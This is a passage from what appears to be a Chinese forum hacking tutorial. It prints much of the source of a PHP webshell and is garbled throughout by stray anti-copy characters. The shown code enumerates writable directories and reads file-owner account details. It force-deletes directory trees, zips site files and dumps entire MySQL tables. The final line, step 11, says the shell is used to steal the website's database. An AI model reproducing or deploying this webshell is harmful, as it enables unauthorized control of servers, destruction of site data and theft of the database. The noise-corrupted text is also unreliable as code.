/ t6 ~* g' `7 H- L/ F0 x - $array = @posix_getpwuid(@fileowner($filepath));
- q8 `* _6 `% i) p - if ($array && is_array($array)) {# n4 I. F* r$ k) F, n+ O) ~# I
- return ' / <a href="#" title="User: '.$array['name'].' u3 A* I# k3 ^4 Y/ y$ V& c4 o
- Passwd: '.$array['passwd'].'+ r$ i& X. g% d( ]; A# m
- Uid: '.$array['uid'].'+ l! ^8 e7 K o$ o% S1 G# J6 `, f
- gid: '.$array['gid'].'- k: w' H: ]0 P# o- F: y+ z! B) j
- Gecos: '.$array['gecos'].'8 a4 e* O' J# _) Z/ A
- Dir: '.$array['dir'].'& R# m8 `# i D3 L- t& ^' S% T+ Y
- Shell: '.$array['shell'].'">'.$array['name'].'</a>';
0 n1 j* ?5 w( C9 k5 ~1 s- G - }
3 n" F9 m( ?" A1 r$ L, B; _* }9 p - }
8 w5 X+ e9 U/ A" q: V% z) b! @ - return '';' D7 ~2 j4 u' U$ m, q9 A; I
- }
% H$ @8 L0 L6 ~ -
+ [" j( q, w1 R& R - // 删除目录
7 B4 v N3 \9 D9 ^ - function deltree($deldir) {% T1 R/ W) p' i4 n1 e8 E
- $mydir=@dir($deldir); ! P# ]# \8 g, D9 A3 f
- while($file=$mydir->read()) { : j+ _4 z; x+ O; P0 O
- if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { 8 w3 L; x j3 Z
- @chmod($deldir.'/'.$file,0777);
4 b( A2 u X- ~- W3 t& C$ u% P1 V" f" Q - deltree($deldir.'/'.$file);
9 R) ?; ?) _& Q3 u% x! [1 z- M+ J - }
; P0 J8 j7 C) ^- `0 v% a/ F% ] - if (is_file($deldir.'/'.$file)) {
% q8 g) ^: T; H# V6 d& m0 g - @chmod($deldir.'/'.$file,0777);
- A* m" X$ C% H, O4 b* ]1 C - @unlink($deldir.'/'.$file);
* M% e* v' ?5 }$ j+ ~; o7 O( A - }
- q- C- Q1 y# u, c2 B, ~. i' ] - } 6 T8 u) C' N0 T
- $mydir->close(); 2 r7 w9 }! E- q: B9 B4 |; b9 O
- @chmod($deldir,0777);
' q! x) c5 h/ y, {8 T8 C+ D8 H - return @rmdir($deldir) ? 1 : 0;
- X$ Z% @( `$ h/ j - }7 x! @5 y. o% ^6 i( T; s7 S8 h
-
% |8 N2 E C+ j5 n( z$ [* \* \ - // 表格行间的背景色替换, N w% R+ Z# i3 J; G
- function bg() {
' X# M- E1 E7 q6 C" K" h; H6 y5 F - global $bgc;
- v4 e. I9 e* l( i0 J6 L - return ($bgc++%2==0) ? 'alt1' : 'alt2';. P; _+ v; s6 i6 A( V: X1 j' e" S. b
- } a# g$ t6 v# B7 _8 E! s
- ; n" k w; a2 F$ f
- // 获取当前的文件系统路径
4 ?7 E M/ g! W' x- Z6 Z - function getPath($scriptpath, $nowpath) {
; G# R2 h" ^/ I" D( Z1 Q3 p - if ($nowpath == '.') {- m$ C [8 n& j. L
- $nowpath = $scriptpath;3 k* J: N$ {% P" X2 n# S- n
- }& ?7 ~2 l* }, z% `. q6 ], T- H
- $nowpath = str_replace('\\', '/', $nowpath);2 l, Z0 n8 e& t6 O0 ~
- $nowpath = str_replace('//', '/', $nowpath);
; T5 l P8 \) `0 I. _ - if (substr($nowpath, -1) != '/') {# J* X% t$ [2 j/ Q/ U$ Y5 D
- $nowpath = $nowpath.'/';
9 J% m0 M( N- S3 u3 z9 H - }8 N& v$ m& c' s
- return $nowpath;4 x- Z- @) O @* G$ e; k
- }+ S+ W# b r/ S! H
- % C3 V! m) B& c# {. q: K# w
- // 获取当前目录的上级目录
4 T/ s Z/ ~6 |/ e5 E, L9 M - function getUpPath($nowpath) {
4 l1 {! C: m3 E. `: Q - $pathdb = explode('/', $nowpath);( H) o1 `6 A2 H- g* {1 l7 `* c
- $num = count($pathdb);
& d% ^& a' X! ] `$ g5 v! a1 v - if ($num > 2) {- W5 d1 {1 f3 k, b
- unset($pathdb[$num-1],$pathdb[$num-2]);: W6 Q& R' }2 E5 b
- }
2 i. E- T" P$ Y. x S2 e6 A1 C- K - $uppath = implode('/', $pathdb).'/';
5 |' A& H7 R o! U4 h% n - $uppath = str_replace('//', '/', $uppath);, d. o4 h' m# y/ Y+ b3 r
- return $uppath;
+ F" |- |3 j# \' u - }6 ]5 E# }! B4 C- u. z% ?& _* Z# W
- ( Y6 D. u0 U# F6 f4 B* q
- // 检查PHP配置参数
6 V6 [% T1 S2 Z* L3 [+ \# ~ - function getcfg($varname) {% }7 V P5 M& o7 m% N" Z
- $result = get_cfg_var($varname);& n& W, Z% Y( |8 Q8 Y
- if ($result == 0) {9 E2 M* u0 M- |* ~% i
- return 'No';5 ]: Q& T, k. E+ g5 B. d; D
- } elseif ($result == 1) {
6 D2 W8 K4 Z) c5 I - return 'Yes';
J& w+ ?: Y5 q) W8 o7 m6 L; ?" ~ - } else {
6 V# j, f Z+ v0 L& f8 J8 r - return $result;; ^4 ^% ? g2 P' K: ^0 H
- }
8 V5 q) i, d5 W+ h' e - }# e8 L$ T3 e4 U' l
- & \% A1 I" V; J P
- // 检查函数情况, d% b- }; e3 |* f) f
- function getfun($funName) {
8 M f/ }+ U: ], M6 z - return (false !== function_exists($funName)) ? 'Yes' : 'No';1 N: a& i1 c9 I6 u! u4 \$ V) X
- }
, }% Q" d' J5 z+ O! B! W -
' ~3 _/ K6 J' M1 ?( o, Z5 S - function GetList($dir){, x. K, D6 d! N% y
- global $dirdata,$j,$nowpath;
* U# f# {, u' m - !$j && $j=1;
% n& e4 f9 y2 {% L& \) n - if ($dh = opendir($dir)) {
4 ^( `8 i8 Q$ ?1 m" d" L6 y - while ($file = readdir($dh)) {& L, c6 n; s. D2 Q4 r
- $f=str_replace('//','/',$dir.'/'.$file);
; m9 m! k1 v% C* A( `8 ] - if($file!='.' && $file!='..' && is_dir($f)){& ]- l4 C9 J8 ^1 m
- if (is_writable($f)) {
. ^4 f3 w% t: Y2 z7 ?& h - $dirdata[$j]['filename']=str_replace($nowpath,'',$f);& y+ B' F# l" M3 U
- $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));9 I! b+ R3 w+ H) ?
- $dirdata[$j]['dirchmod']=getChmod($f);4 q' d; Z* {$ |8 ^" L
- $dirdata[$j]['dirperm']=getPerms($f);
* ]4 M# }4 Z0 f* ?( K8 R - $dirdata[$j]['dirlink']=ue($dir);* Y8 w+ w/ b( M7 G, P, s% S
- $dirdata[$j]['server_link']=$f;
$ J% _2 m. i" e( ] - $dirdata[$j]['client_link']=ue($f);
' i8 N, ]6 J: J - $j++;
, q' R7 K, c$ J" |2 Y - }
/ O- L8 \- c1 t( c - GetList($f);: {2 ` `: P" \4 g1 z" J
- }
5 K, O2 @7 C$ k+ B6 p# W: G - }9 v" N$ O7 g/ M9 r
- closedir($dh);
, b4 L0 X1 F$ u6 G( E9 \. o& C - clearstatcache();$ d8 u0 r# y2 |% z" S1 K% Y4 t. X
- return $dirdata;
) Q3 i& b/ C3 I4 O - } else {
- d& a8 }) t% w - return array();1 f2 G6 c/ u; M8 }4 O; `
- }
& q# T. X# {) R& H6 @3 e, Z! v) n - }# i1 E/ p; G# Q
-
2 @# k, K5 H4 S - function qy($sql) { 2 Q/ k1 t; e! X7 v6 K
- //echo $sql.'<br>';/ `! m9 D; F1 B' n0 v
- $res = $error = '';/ R* \6 b; V7 M1 _
- if(!$res = @mysql_query($sql)) {
3 W4 {/ B6 B. [! j' A B$ O; J, @ - return 0;
! U: B$ `4 T; G( f: ]% ~$ q7 ]4 R - } else if(is_resource($res)) {5 ? v1 S. U- A8 t, T5 ?. M: u
- return 1; 8 i( s/ y$ u9 D. e" z: u
- } else {* K: Z7 f. F" _4 v! P, ~% E% |
- return 2;$ m p5 P5 h3 [# k, X. q
- }
2 w( r& {, e; ?5 y - return 0;
- g" }! i: l- |2 @; t2 {5 D - }
% Y- x9 {0 s1 K" e; U& ] - 1 T# q$ v) G) y& j# d" J
- function q($sql) { ' K. P- g4 L5 ~8 W
- return @mysql_query($sql);
- c7 t" x* H1 F" e' s- b - }: R4 E& i, V! C5 F0 a1 r
- 6 p5 \) Z* H+ r& m; W" e
- function fr($qy){
) f& G4 t: n! J$ q3 | - mysql_free_result($qy);
0 |" b" p) Y d* |: a) U - }2 a+ f2 [3 [$ d, h0 a
-
" s9 o. c9 R) \( j - function sizecount($size) {% W) I. | h2 f
- if($size > 1073741824) {7 ?; Y9 @$ h. h0 K! w& H8 s
- $size = round($size / 1073741824 * 100) / 100 . ' G';
4 C( D* L* R l* j. q - } elseif($size > 1048576) {
1 Y% i2 U* j9 M3 ]# h9 B& u - $size = round($size / 1048576 * 100) / 100 . ' M';: D7 v3 }' T6 U# C
- } elseif($size > 1024) {, ~4 c1 O v/ I! a# ^' ?# Q
- $size = round($size / 1024 * 100) / 100 . ' K';
( E) S J9 C, F6 h# ] - } else {* L% u) r9 u5 `+ w# j& X, z0 Z. V
- $size = $size . ' B';7 w d1 Q2 W, h4 o1 S
- }* O) q" F) a6 J a/ U* O% d% E) d
- return $size;: s* m0 @5 b8 x6 q# l
- }) P1 I$ E" |' I' P+ T) z& F6 s9 z
- 7 X0 T0 a& ]4 j$ _- Z2 U! \! m
- // 压缩打包类' m% e* k) f( G- @$ [
- class PHPZip{
7 A; ~) ]% Z* X' B, t! q - var $out='';$ i! N( L a/ h k4 `8 _
- function PHPZip($dir) {' A* ]' r0 Q2 r4 ~+ u+ w, m
- if (@function_exists('gzcompress')) {
" U% i. d" L) g" R5 F5 I5 W - $curdir = getcwd();
1 Z8 p6 O0 k) ?! X - if (is_array($dir)) $filelist = $dir;+ c v$ y9 d1 Y9 H- Q( O; z2 I5 T
- else{: a) {% I% I" @. X ~! b
- $filelist=$this -> GetFileList($dir);//文件列表
" }6 ^) P# h, J/ S7 s, C - foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);9 {# @" V$ H5 I" I! ^3 r3 @/ \
- }6 a" g, t! \: c5 c9 j. ]
- if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
9 o$ [ X( F8 ^# _# f7 W3 @ - else chdir($curdir);
h" s6 h6 h6 n/ k) \ - if (count($filelist)>0){( p* m0 R8 n: [4 u
- foreach($filelist as $filename){: Q( K+ f- f4 I( z5 A( F
- if (is_file($filename)){; y4 }& A* C- H
- $fd = fopen ($filename, 'r');
& V. J, n* B5 i* r7 |/ r - $content = @fread ($fd, filesize($filename));
7 b+ n! ~( v; E' D# V- f' ? - fclose ($fd);/ k( c# T% @$ _' P9 E
- if (is_array($dir)) $filename = basename($filename);
; D/ c! v1 x1 T0 b% u9 ]2 t - $this -> addFile($content, $filename);) O; x5 W3 o z# v' V( R! G: a' ]
- }% C/ G" Y9 N4 Y( E; ]$ R/ n+ }, g9 k
- }( q. C1 E a; Z2 C, Q+ l1 p; |
- $this->out = $this -> file();
0 u# {+ W) S' p - chdir($curdir);
8 a, I! s. [1 i( G8 @ - }$ S' |' F# a+ N. K
- return 1;3 W4 i! P: q+ ^$ x
- }
( d0 ~4 X# k& i# E& @ - else return 0;- N. B2 k2 S" K8 J+ ?
- }
: Q* A, I8 U, I7 \0 @ - \# r. N3 Z" ^% a5 Z# s
- // 获得指定目录文件列表+ Q- k5 z# b4 B) Q
- function GetFileList($dir){: A. s; X9 i2 m% E
- static $a;
6 j+ h. ]+ I; K/ M - if (is_dir($dir)) {! [4 R7 p4 J4 v" s
- if ($dh = opendir($dir)) {7 g# Y5 n( e# w n* N+ ^
- while ($file = readdir($dh)) {
$ A. G B; m, x3 L/ a - if($file!='.' && $file!='..'){8 }2 a$ D8 O6 y( b- I. l$ b# h* ]
- $f=$dir .'/'. $file;
" J- Q$ a8 l: V" S' H0 C - if(is_dir($f)) $this->GetFileList($f);! |+ h4 P* W. B7 x, r
- $a[]=$f;# K* v9 o) s" K/ U+ M
- }3 U& n1 _6 A4 D
- }
' S1 z8 |0 ]# H* I M* ` - closedir($dh);
2 D9 Z5 t! j8 j0 F! z - }
2 k* I- A) F6 [5 Z) j) v - }
5 u5 ` \& A9 Q. H. { - return $a;
) i% _3 m2 c6 V - }$ D N* T6 P) d( W( T. D4 v. }
- . Y4 w9 O4 g5 n+ }
- var $datasec = array();, k! B' @2 h6 t/ @' `
- var $ctrl_dir = array();
: }) R0 L8 ?, I3 a& z- G - var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";# K: h G- {% g5 m
- var $old_offset = 0;
1 X9 _% U5 Q7 j9 d! {% V2 h6 G - + N/ v; s9 s: G, D$ z7 G3 @
- function unix2DosTime($unixtime = 0) {+ @8 m, y, o9 H0 Q$ N
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
# S2 P+ T2 Q5 F3 U7 k& f) o - if ($timearray['year'] < 1980) {- ?6 x& @ G3 }
- $timearray['year'] = 1980;9 `, P% J8 V3 e
- $timearray['mon'] = 1;
! V" y6 Y- r0 r# w0 x+ ` - $timearray['mday'] = 1;2 i& {' m$ |: P, d2 g+ z# i
- $timearray['hours'] = 0;. n% X/ n* |7 f+ R9 M
- $timearray['minutes'] = 0; _3 O% X" Z5 S. S
- $timearray['seconds'] = 0;3 n3 t5 v* q1 ^% j; B
- } // end if
9 R) w( W% E3 P u: |8 F, d* h - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
. [* i G0 A0 s" l7 E - ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
) k% V9 e2 `2 E) e0 ] - }9 s% R' N, B3 J
- function addFile($data, $name, $time = 0) {
8 y' J: X& E. {. u2 x - $name = str_replace('\\', '/', $name);" U" U, q2 I; s; q7 n
- $dtime = dechex($this->unix2DosTime($time));3 [' D' W5 T( P6 ]* _
- $hexdtime = '\x' . $dtime[6] . $dtime[7]- o( l' P+ w/ g% f, _7 [
- . '\x' . $dtime[4] . $dtime[5]
" j! a( M& J J( S. Q9 N - . '\x' . $dtime[2] . $dtime[3]* V9 [) J/ q# d" o/ S: q
- . '\x' . $dtime[0] . $dtime[1];
$ }8 S. Y) W* \" g M - eval('$hexdtime = "' . $hexdtime . '";');5 l* }* Z2 o! F% o
- $fr = "\x50\x4b\x03\x04";
+ a* ? k( F# A5 A. P - $fr .= "\x14\x00";& _2 p) N( A, u6 b; }9 S' ~
- $fr .= "\x00\x00";. b2 a. \, n5 _3 n) R/ V( u7 P
- $fr .= "\x08\x00";9 {1 |1 L$ |3 Z* Z p% f& J7 _1 A0 }
- $fr .= $hexdtime;- W1 o/ {7 y" A& h
- $unc_len = strlen($data);1 g: i; h% @3 v$ K
- $crc = crc32($data);& l2 ~8 D/ v+ ^3 N
- $zdata = gzcompress($data);
: z! l6 m9 }! p; @: e - $c_len = strlen($zdata);6 b2 w3 w0 j) n
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
: m6 ?- M7 ^$ z- ?9 X# |: j - $fr .= pack('V', $crc);# C, w/ E. E; V( ?8 v$ a/ [# H& }
- $fr .= pack('V', $c_len);
: R9 u4 {6 B( o; K! | - $fr .= pack('V', $unc_len);% c$ ^( h6 y9 Y. i
- $fr .= pack('v', strlen($name));4 E. j6 B+ B( ~& \# O1 g
- $fr .= pack('v', 0);4 _ |+ @$ o& X+ @! {5 H, z
- $fr .= $name;
' Z) G6 |6 k' E! D/ @ - $fr .= $zdata;
; H9 I1 V& w2 {3 B8 u - $fr .= pack('V', $crc);0 U9 H8 A( Y2 q" ^2 t* E* @( o
- $fr .= pack('V', $c_len);7 Y% z4 M$ q6 A
- $fr .= pack('V', $unc_len);1 h6 S9 x+ E: x) W
- $this -> datasec[] = $fr;
1 t$ c! P5 j% _' Y* j) i. u* M - $new_offset = strlen(implode('', $this->datasec));4 C$ b k: C; Y7 I
- $cdrec = "\x50\x4b\x01\x02";) Z7 ]1 b" `) q3 C8 \6 z; N
- $cdrec .= "\x00\x00";
' B' Z8 S; Z! v - $cdrec .= "\x14\x00";
% ~. p- u/ R7 b# T3 ^, r - $cdrec .= "\x00\x00";
6 Z, |3 v2 j8 _5 F2 U) Y. G/ y/ W7 O4 U - $cdrec .= "\x08\x00";: ~8 U- A0 @! w# G
- $cdrec .= $hexdtime;/ B( y7 C# w9 l; |
- $cdrec .= pack('V', $crc);% n/ c) d0 D3 w+ [' l. [" ^
- $cdrec .= pack('V', $c_len);& ?1 K' P# M2 r, h" o3 o
- $cdrec .= pack('V', $unc_len);
/ O& w+ c2 h$ @. i+ L - $cdrec .= pack('v', strlen($name) );5 p8 H; `2 L4 f
- $cdrec .= pack('v', 0 );! I% {4 i3 p" y0 ?: o" d
- $cdrec .= pack('v', 0 );
. c8 U9 j. k' d+ k; H - $cdrec .= pack('v', 0 );% j+ @$ n2 x c- c
- $cdrec .= pack('v', 0 );& j( {6 v* B2 v5 A# I
- $cdrec .= pack('V', 32 );2 V7 s$ _+ t8 v, H1 }0 [$ t
- $cdrec .= pack('V', $this -> old_offset );$ f* I. ~: G- m/ E7 ^
- $this -> old_offset = $new_offset;
1 w* M5 f+ m- i6 t5 }4 ~ - $cdrec .= $name;! ~& O! v6 I R- M4 g4 i1 N
- $this -> ctrl_dir[] = $cdrec;% c7 z% E) p0 a( o" K6 J
- }- m6 c% \3 H/ Z& m+ Z
- function file() {
% V2 b/ e% t; D0 F @* O - $data = implode('', $this -> datasec);
9 f* d# S) j0 E: V - $ctrldir = implode('', $this -> ctrl_dir);2 O" [1 ]& w$ p# d6 E
- return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";' Z2 {' G3 r, e$ p1 r
- }
- p$ h& W5 ~1 u4 q* [' R8 {" J - } f- p8 T7 M% c, ?
- // 备份数据库
% Y( |; }$ f+ q0 J7 K - function sqldumptable($table, $fp=0) {
+ X- C8 K0 d1 `. y# I" C& \ - $tabledump = "DROP TABLE IF EXISTS $table;\n";
7 [, r0 y% p H+ e; s- _ - $tabledump .= "CREATE TABLE $table (\n";( y0 S+ _0 W5 J- c* C7 w
- $firstfield=1;
: D6 O1 d2 q7 N - $fields = q("SHOW FIELDS FROM $table");
' _5 J$ b7 l: M$ W - while ($field = mysql_fetch_array($fields)) {
8 \' B# G4 W2 D% J - if (!$firstfield) {+ E0 C5 k/ W5 ?: U' I* y/ N
- $tabledump .= ",\n";; T; R$ d8 B- L( `
- } else {
$ i7 q4 `9 [. j/ [7 j, Y: H - $firstfield=0;" r+ A+ u4 h, D* l( k6 C
- }7 |3 @" n" ^) s
- $tabledump .= " $field[Field] $field[Type]";
4 C, s: d( s- ~0 |2 g+ j$ v - if (!empty($field["Default"])) {
3 a2 x1 G, G$ f; k. m. b - $tabledump .= " DEFAULT '$field[Default]'";+ G, K7 X* r5 R, E
- }5 V* d! C* {/ t8 j1 ?
- if ($field['Null'] != "YES") {( c' [$ Q h5 g5 q* {- i( L
- $tabledump .= " NOT NULL";& N* [: p5 g# o; D# z) A9 ?1 y. o* v5 A
- } H% }5 i* m* i
- if ($field['Extra'] != "") {* Q+ ~; k, u6 a( }+ D0 l
- $tabledump .= " $field[Extra]";
# [1 k' _3 a+ D( y& n - }1 X* Y+ H6 X: z" V2 m7 J
- }
R5 \- o; `; [2 P* T; j0 d - fr($fields);% q; a1 N, J, O) u4 B& Q1 v. E
- $keys = q("SHOW KEYS FROM $table");- `# ?8 i0 @* g" S8 N5 N Q- M
- while ($key = mysql_fetch_array($keys)) {
# D# z* x4 f; w, ^% X0 z* Y% j2 s+ H - $kname=$key['Key_name'];
! `) ~. e' N7 D9 G/ t - if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {" j. S7 S% M! f$ }3 c+ g U- Q; ]
- $kname="UNIQUE|$kname";
/ Y2 M* ~# s+ l" [ - }
: p3 z# ~3 {2 _! @% s+ w - if(!is_array($index[$kname])) {
$ ]' [3 t, S( F w2 F3 q# k - $index[$kname] = array();3 Q" P$ x- R0 A( Z
- }
' L# m' s+ a% G. z1 d - $index[$kname][] = $key['Column_name'];9 D* K0 A2 h7 u( V- v y0 V1 \
- }
4 @) o& b4 {$ ?( D - fr($keys);8 n. `- C% }/ [, V* N- P z
- while(list($kname, $columns) = @each($index)) {
; Z# i/ x1 Z- i9 ]4 L - $tabledump .= ",\n";
4 i+ B* T0 t( |' f- g( U, A - $colnames=implode($columns,",");
$ W" m; j, |( |& n" Z! z. j - if ($kname == "PRIMARY") {0 A% j# u0 J1 T. F3 z& C! |( u
- $tabledump .= " PRIMARY KEY ($colnames)";
' [. q q' N9 v* u - } else {
2 W7 I# F# r* O( \' I0 N$ C% Z3 s - if (substr($kname,0,6) == "UNIQUE") {5 y% F' z1 \; u# k0 ]# e# c
- $kname=substr($kname,7);
3 x* [0 K9 ]8 M } - }0 R% ^: B! P9 l( R) F" t5 j' h4 z9 R5 Z9 l
- $tabledump .= " KEY $kname ($colnames)";
% b i# F( h' S5 s - }
5 Y4 e# X4 Y4 `6 F0 d - }$ I) Y) C# G* e6 r% I
- $tabledump .= "\n);\n\n";
# `3 _9 r+ ^( x+ t' S - if ($fp) {; a* x4 j( @8 i8 D6 M6 \* W& e5 v' e0 ]
- fwrite($fp,$tabledump);/ ~; K7 h, q1 e' j
- } else {
: J- v2 f" d% m - echo $tabledump;$ M( h" o7 G! ^' s; i* g
- }, ?0 l7 |7 p, \7 E
- $rows = q("SELECT * FROM $table");
) V* Q; h/ o: D% p7 [* h; { - $numfields = mysql_num_fields($rows);
; _" \; K5 u8 M( e - while ($row = mysql_fetch_array($rows)) {% b+ w/ Y- K. Q; M, n
- $tabledump = "INSERT INTO $table VALUES(";
7 T v- B: C/ {2 b% ^ - $fieldcounter=-1;
5 g. Z3 c$ ^# m/ v4 |% X( r) s$ y - $firstfield=1;
: r3 c) M: m- O - while (++$fieldcounter<$numfields) {
2 A9 Y! k" n \* i# V, m" M+ }0 a - if (!$firstfield) {+ F/ ], \! f8 l0 p
- $tabledump.=", ";# ]- J3 I" C; ^ b+ z
- } else {
, k8 N0 y7 J; J- [/ F* n2 D4 m - $firstfield=0;/ |+ m; c9 h$ [% Z4 r0 H5 p4 i- B
- }
2 J o c1 Z( n, ?' u- s - if (!isset($row[$fieldcounter])) {
( c( ]4 F& X0 R3 [/ f& I2 t0 ^! l. e - $tabledump .= "NULL";
8 z& D0 T" r) M' | - } else {9 k6 ~. v8 L: C$ E
- $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";( N! ?. p W3 A# P# S- M
- }
. C9 |! w& {5 z- n! R) ]! | - }# u g. y; K( b
- $tabledump .= ");\n";% r( ^ Y. L* I' q# y
- if ($fp) {
4 @2 W" A. @$ l6 l. d2 [( S! X - fwrite($fp,$tabledump);, N6 E) N7 n9 r1 ^" ~
- } else {7 L2 T3 V3 ^9 G( l' l7 x2 l; {5 {: Q4 q
- echo $tabledump;7 d3 Y* ^# M( U2 x& y9 t+ h* {+ ?$ I
- }6 B" }% { g( |' C" b& Z
- }
( c1 }, Y8 ~: _2 [. ~6 `* F+ }+ z - fr($rows);
1 a# }; G, |# k5 k8 ~9 t: b - if ($fp) {
! \+ J+ O7 k- t8 F - fwrite($fp,"\n");7 y3 I4 Y6 h! {5 y- Q
- } else {$ s4 O( X2 r& b0 P; F/ w; f
- echo "\n";- T. n, F( [# b; m0 `: `- a3 t
- }
* u! A* K5 z2 n7 v3 F - }( p# U% Z% M0 m& A" V* G4 f
- function ue($str){9 z% v/ D% }+ V0 b
- return urlencode($str);
8 R6 o) ~) T5 G2 z, [ - }
* V7 e/ D3 Q5 Y/ o! t' A( d - function p($str){
. [" T8 h, t0 F - echo $str."\n";
8 Y% g2 x w8 }/ v1 s6 A - }8 e) q9 Q% d8 x- l3 F
- function tbhead() {
# l( ^2 {$ S* Z - p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
5 c" \6 G. r2 {# ^3 p6 n- n+ q - }
1 u5 u9 G% ~; m% ^ - function tbfoot(){+ C. U8 M: E$ ?& Q2 W
- p('</table>');
9 r ?+ m4 l3 n- ~* I - }
% H2 W: ^' D, K6 M - function makehide($name,$value=''){
/ l5 l, s8 b1 Y4 i! S - p("<input id="$name" type="hidden" name="$name" value="$value" />");; J) I5 F; X! F
- }2 n ?! i V4 a5 Z6 u8 R
- function makeinput($arg = array()){1 q( F5 ?% ]( o
- $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";+ p, X0 `- A; a* G% n/ `! R
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
( e" \. l I5 G8 } - !$arg['type'] && $arg['type'] = 'text';
4 V- r2 _' }! I6 d& B! O T - $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';! R! X( B2 e M0 I: y- m
- $arg['class'] = $arg['class'] ? $arg['class'] : 'input';+ r! t7 w5 G u. F- `
- if ($arg['newline']) {# F/ p! M. w0 L7 }$ ^$ T
- p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
: Q) [7 W8 I: X% B% d& M* Q - } else {
: R" b3 M) z4 c3 K - p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
9 Q+ b4 E( P6 }9 G4 ?, v* c - }
- i/ ^* h2 v8 s- L: ]; O) e+ z - }0 n5 A% D6 H* F
- function makeselect($arg = array()){
/ O6 p. N% H+ s. H" \8 g - if ($arg['onchange']) {
9 m/ N! S0 ]$ h - $onchange = 'onchange="'.$arg['onchange'].'"';4 I8 W _* C% [; w# n4 [
- }1 Z: ^6 P; E. S/ e
- $arg['title'] = $arg['title'] ? $arg['title'] : '';
) e9 l- \3 I& V - if ($arg['newline']) p('<p>');
5 t# I/ }4 M) G) y& a8 g - p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");; h/ y3 m# s5 e
- if (is_array($arg['option'])) {- r3 i$ `8 ?6 v- t
- foreach ($arg['option'] as $key=>$value) {
, R- E$ A0 U' v/ V' z - if ($arg['selected']==$key) {" l; C! N# Q0 c6 |; R Z8 j
- p("<option value="$key" selected>$value</option>");4 H( k5 M, Q2 A0 I6 ?* k
- } else {+ b9 B" p. i: N/ I4 V+ g! r' Y4 v
- p("<option value="$key">$value</option>");3 @6 F4 Q* R C& F4 P7 v5 [0 A
- }
! d' K1 l6 b1 X4 c; A - }
& x, E" |( q/ ]+ M0 k! w - }5 \2 K$ n1 Z9 T |( S2 z9 Z1 }, H( s
- p("</select>");
0 o. }3 Z, i$ Z - if ($arg['newline']) p('</p>');$ r' P9 Z1 v; T+ W% ?8 F. h8 F7 U/ h
- }5 V4 I4 B4 n5 D% R! R* @7 u
- function formhead($arg = array()) {2 I4 E0 L: I( h+ `, S3 _
- !$arg['method'] && $arg['method'] = 'post';- K) l" Y n1 X9 O- S+ q9 X
- !$arg['action'] && $arg['action'] = $self;
: g/ X" r3 D0 {0 W" u& Z - $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
; M* R! b: [9 p/ p' A8 @5 U# Y - !$arg['name'] && $arg['name'] = 'form1';
% o s8 s( S9 U0 Y. u - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");8 r3 n O8 g% n! e& ~: P
- if ($arg['title']) {
" u3 B% i: ^- R2 H, j$ v z - p('<h2>'.$arg['title'].' »</h2>');
7 t. N" |1 ~$ |: e5 O( g: e - }
. ?' q& @8 I x0 m - }
! e9 Y0 b3 H% H; D8 s& c' x, J( O, y) A -
# n3 b, K* }8 F - function maketext($arg = array()){; B3 n0 X3 W+ U" u/ j
- !$arg['cols'] && $arg['cols'] = 100;
5 z, g; v' F# G; {9 J+ _- D3 B - !$arg['rows'] && $arg['rows'] = 25;) s3 b2 y: d% X% b. Y' f
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
# A& ]. k1 }9 y( U. X) R1 ?2 | - p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");& r* e& J* s/ d3 A: V* i4 {! `
- }9 W+ i c2 }( p) ?
-
+ {; G6 @4 ^4 c9 X' S - function formfooter($name = ''){
2 l9 @9 m( Y& G; ]" X - !$name && $name = 'submit';
; n5 q% D: D* Z) E' w - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
Z7 e8 ~! e; T9 r6 h0 N' | - p('</form>');
: x! b5 Y' Z1 Z) C* J6 U - }
. L1 @. m; {$ A - ) h% I$ a# e( a' Y1 @8 S
- function formfoot(){7 A( f/ Q% C5 e2 u$ K2 _# j
- p('</form>');" y/ [- v' {. f4 Z/ r) W" i
- }
) S7 i- L& [# I# I) b! m - 0 `1 p: H, G4 U5 x0 G1 f3 p- d
- // 调试函数
- e( |7 Q' t: d( _( ] - function pr($a) {) s1 S% n Z, d0 N& @! ?# Q' H
- echo '<pre>';
, c# Q' A4 y A( f - print_r($a);
8 n. @( r7 C8 o6 W/ }6 B) K8 b: L - echo '</pre>';4 G! h8 D! V! o9 Z1 i/ q0 b5 a/ S
- }# E& c2 T7 K/ f+ `3 L) |+ g0 D
- 0 p& G6 h$ f5 h5 d4 L" H/ C; H
- ?>
复制代码11、最后通过大码对网站数据库进行脱库
5 h* R) G; N5 q0 D; A2 V) @' H
: k$ t; G6 J r+ t( Q4 Z' H! O! ^2 h$ n y$ ]
|